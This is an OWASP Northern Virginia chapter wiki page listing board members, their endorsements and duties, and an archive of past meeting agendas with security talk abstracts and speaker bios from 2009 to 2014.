**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.
*Abdullah Munawar
**OWASP Membership ID: 020000037
**Endorsement - Jon Callahan, Chapter Member
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been.

=== Chapter Board ===
Previously having had a Chapter Leader, then a Chapter "Program Committee", the chapter is now run by a full board (alphabetical order):
* Michael McCabe - Board Chair
* Abdullah Munawar
* Akshay Sivananda

Board member responsibilities include:

<pre style="white-space: pre-wrap;"> * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics
* Recruiting OWASP membership
* Driving OWASP NoVA Chapter attendance and involvement
* Deferring to, facilitating, and supporting the activities and projects of chapter membership
* Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions
* Scouting, clearing, and scheduling chapter meeting venues and catering
* Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations
* Collecting and auditing use of chapter funds
* Voting on chapter matters
</pre>
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}

You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter.

=== Schedule ===

Meetings are (generally) held the first Thursday of the month.

Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.

== Next Meeting ==

We'll post all meetings on the Meetup page below.

We can also be contacted through the comment or messages systems on Meetup.

For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].

== Past meetings ==

===September 2014===
'''Date/Time:''' September 4th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]

'''AGENDA:'''
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.

'''Presentation Title:'''
The World of Ruby on Rails Security

'''Abstract:'''
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.

'''Speaker Bio:'''
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.

----

===July 2014===
'''Date/Time:''' July 10th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]

'''AGENDA:'''
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!

'''Presentation Title:'''
OAuth 1.0 Authorization and Security

'''Abstract:'''
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.

'''Speaker Bio:'''
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.

----

===February 2013===
'''Date/Time:''' February 7th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]

'''AGENDA:'''
* News / Updates
* Talk: Jeffrey Walton - "Securing Wireless Channels in the Mobile Space", [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]
* Firetalks!

'''Presentation Title:'''
Securing Wireless Channels in the Mobile Space

'''Abstract:'''
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.

'''Speaker Bio:'''
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).

'''Downloads:'''
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]

----

===January 2013===
'''Date/Time:''' January 10th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]

'''AGENDA:'''
* News / Updates
* Upcoming chapter elections and 2013 plans
* Talk: "Automating (Some) Android Security Testing"
* Firetalks!

'''Presentation Title:'''
Automating (Some) Android Security Testing

'''Abstract:'''
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).

'''Speaker Bio:'''
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]

----

===October 2012===
'''Date/Time:''' October 4th, 2012 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - "Benchmarking Web Application Scanners for YOUR Organization", [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]
* Firetalks!

'''Presentation Title:'''
Benchmarking Web Application Scanners for YOUR Organization

'''Abstract:'''
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.

'''Speaker Bio:'''
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.

----

=== July 2012 ===
'''Date/Time:''' July 12th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - "Password Storage Security"
* Firetalks!

'''Presentation Title:'''
"Password Storage Security" [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]

'''Abstract:'''
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix.

To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]

For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th ("Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!"): [https://www.coursera.org/course/crypto|Crypto Course]

'''Speaker Bio:'''

See [https://www.owasp.org/index.php/John_Steven| John Steven Bio]

----

=== June 2012 ===
'''Date/Time:''' June 7th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: Ken Johnson (LivingSocial) - "AppSec, Ritalin, and Failing Fast"
* Firetalks!

'''Presentation Title:'''
"AppSec, Ritalin, and Failing Fast" [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation]

'''Abstract:'''
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:
* Developing technical solutions to solving difficult challenges
* Remaining proactive with an increased workload
* What it means to innovate

'''Speaker Bio:'''

Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 & 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.

----

=== May 2012 ===
'''Date/Time:''' May 3rd, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* "Chill Out" conversations (formal talked pushed back due to logistical issues)

----

=== April 2012 ===
'''Date/Time:''' April 16th, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org

'''AGENDA:'''
* News / Updates
* Talk: "Malicious Code Detection or BRIC Breaking Through Static Analysis" by Masha Khainson (Cigital)
* Firetalks!
* ISSA NoVA Social @Champps! :)

'''Presentation Title:''' "Malicious Code Detection or BRIC Breaking Through Static Analysis"

'''Abstract:'''
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.

'''Bio'''
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.

Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.

Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]

----

=== November 2011 ===
'''Date/Time:''' November 3rd, 2011 @ 6pm

'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031

'''AGENDA:'''
# News / Updates
# Talk: "Lessons Learned from the SQL Injection Challenge" by Ryan Barnett (Trustwave SpiderLabs)
# Firetalks! :)

'''Presentation Title:''' "Lessons Learned from the SQL Injection Challenge"

'''Abstract:'''
How effective are blacklist filters vs. SQL Injection attacks? What is the failure rate vs. automated scanning or manual testing? Are there any "Time-to-Bypass" metrics? In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community "SQL Injection Challenge" to test the effectiveness of the OWASP ModSecurity Core Rule Set protections. This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.

'''Speaker Bio:'''
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache".

----

=== October 2011 ===
'''Date/Time:''' October 6th, 2011 @ 6pm

'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166

'''AGENDA:'''
* News / Updates
* AppSec USA 2011 Recap
* Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks "OWASP Top 10 Mobile Risks"]
* Firetalks! :)

=== September 2011 ===

The September meeting was cancelled due to inclement weather (flash flooding).

----

=== August 2011 ===

We held a "social" event at Sweetwater Tavern in Sterling, VA.

----

=== July 2011 ===

'''Date/Time:''' July 7th, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166<br> '''Food Sponsor:'''<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: iGoat - Ken Van Wyk

----

=== June 2011 ===

'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)<br> '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190<br> '''Food Sponsor:''' The College Board<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 "Insecure Direct Object References"]
* College Board Speaker: "Attack-in-Depth: Exploits of the OWASP Top Ten in Action"
* Firetalks! :)
- Jack Mannino: "Android Security 101"
- Others!

----

=== May 2011 ===

'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190<br> '''Food Sponsor:''' Akamai<br> '''AGENDA:'''

* News / Updates
* 2011 Election (voice vote on the entire slate)
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 "Broken Authentication and Session Management"]
* Speaker: Steve Witmer on A3 from the "breakers" perspective
* Speaker: ??? on A3 from the "fixers/defenders" perspective
* Firetalks! :)
* '''Update:''' All election candidates were elected by voice vote.
* Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM '11 Chapter Board Election Material]

----

=== April 2011 ===

'''Date/Time:''' April 7, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 <br> '''Food Sponsor:''' [https://www.cigital.com Cigital]<br> '''AGENDA:'''

* News / Updates
* 2011 Election
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 "Cross-Site Scripting (XSS)"]
* Preso:"Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform" by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])
* Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])
* Preso:"Growing the secure application developer community through expanded curricula" by Tony Gottlieb
* FireTalks (bring it!)

----

=== March 2011 ===

'''Date/Time:''' March 3, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 <br> '''AGENDA:'''

* News / Updates
* [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review
* Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 "Injection"]
* Briefing: Training/Preso Plan for the Year

----

=== February 2011 ===

'''Date/Time:''' February 3, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190<br> '''AGENDA:'''

* News / Updates
* Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]
* Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2
* Briefing: Training/Preso Plan for the Year

----

=== December 2010 ===

'''Date/Time:''' December 2, 2010 @ 6pm<br> '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA<br> '''AGENDA:'''

* 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)
* Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)
* Social / Networking (BYOB!)

----

=== November 2010 ===

'''Date/Time:''' November 4, 2010 @ 6pm<br> '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA<br> '''Speaker:''' Ben Tomhave<br> '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform<br> '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.<br> '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP.

----

=== June 2010 ===

'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/<br> '''TOPIC''': Risk Management - Time to blow it up and start over?<br>

'''DESCRIPTION''':

A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. "Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach."

Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]

<br> '''SPECIAL SPEAKER''':

[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group].

----

=== May 2010 ===

'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode<br> '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])
'''DESCRIPTION''':
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers.

----

=== September 2009 ===

'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time<br> '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166<br> '''TOPIC''': "Fortify 360"<br> '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)<br> '''DESCRIPTION''':

We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360!

The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served.

'''DATE''': Thursday, September 3, 2009. 6:00pm.<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Conducting Application Assessment"<br> '''SPEAKER''': Jeremy Epstein, SRI<br> '''DESCRIPTION''':

After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with "hanging chads". Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective.

'''ABOUT THE SPEAKER''':

Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant.

----

=== July 2009 ===

'''DATE''': July 9th 6pm-9pm EST<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Ounce's 02"<br> '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.<br> '''DESCRIPTION''': So what is O2?

Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People)

Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission).

Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review.

Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :)

The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours.

----

=== June 2009 ===

''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''<br> Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''<br>''

Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups.

Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group.

Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security]

----

=== May 2009 ===

''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''<br> Later, a panel:

*Steven Lavenhar, Booz Allen Hamilton;
*Eric Dalci, Cigital Inc.

Panel moderated by John Steven <br>

This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools.

Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis]

----

=== April 2009 ===

''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''<br> Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.<br>

Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf

<br> Later,

*Nate Miller, Stratum Security;
*Jeremiah Grossman, Whitehat Security;
*Tom Brennan, Whitehat Security; and
*Wade Woolwine, AOL

served as penetration testing panels answering questions posed and moderated by Ken Van Wyk.

----

=== February 2009 ===

''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity'''

Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth.

This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes.

Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache."

(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett )

Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]]

''John Steven, Cigital'': '''Moving Beyond Top N Lists'''

Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]]

<br> Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real.

John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University.

----

=== January 2009 ===

To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project.

''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI'''

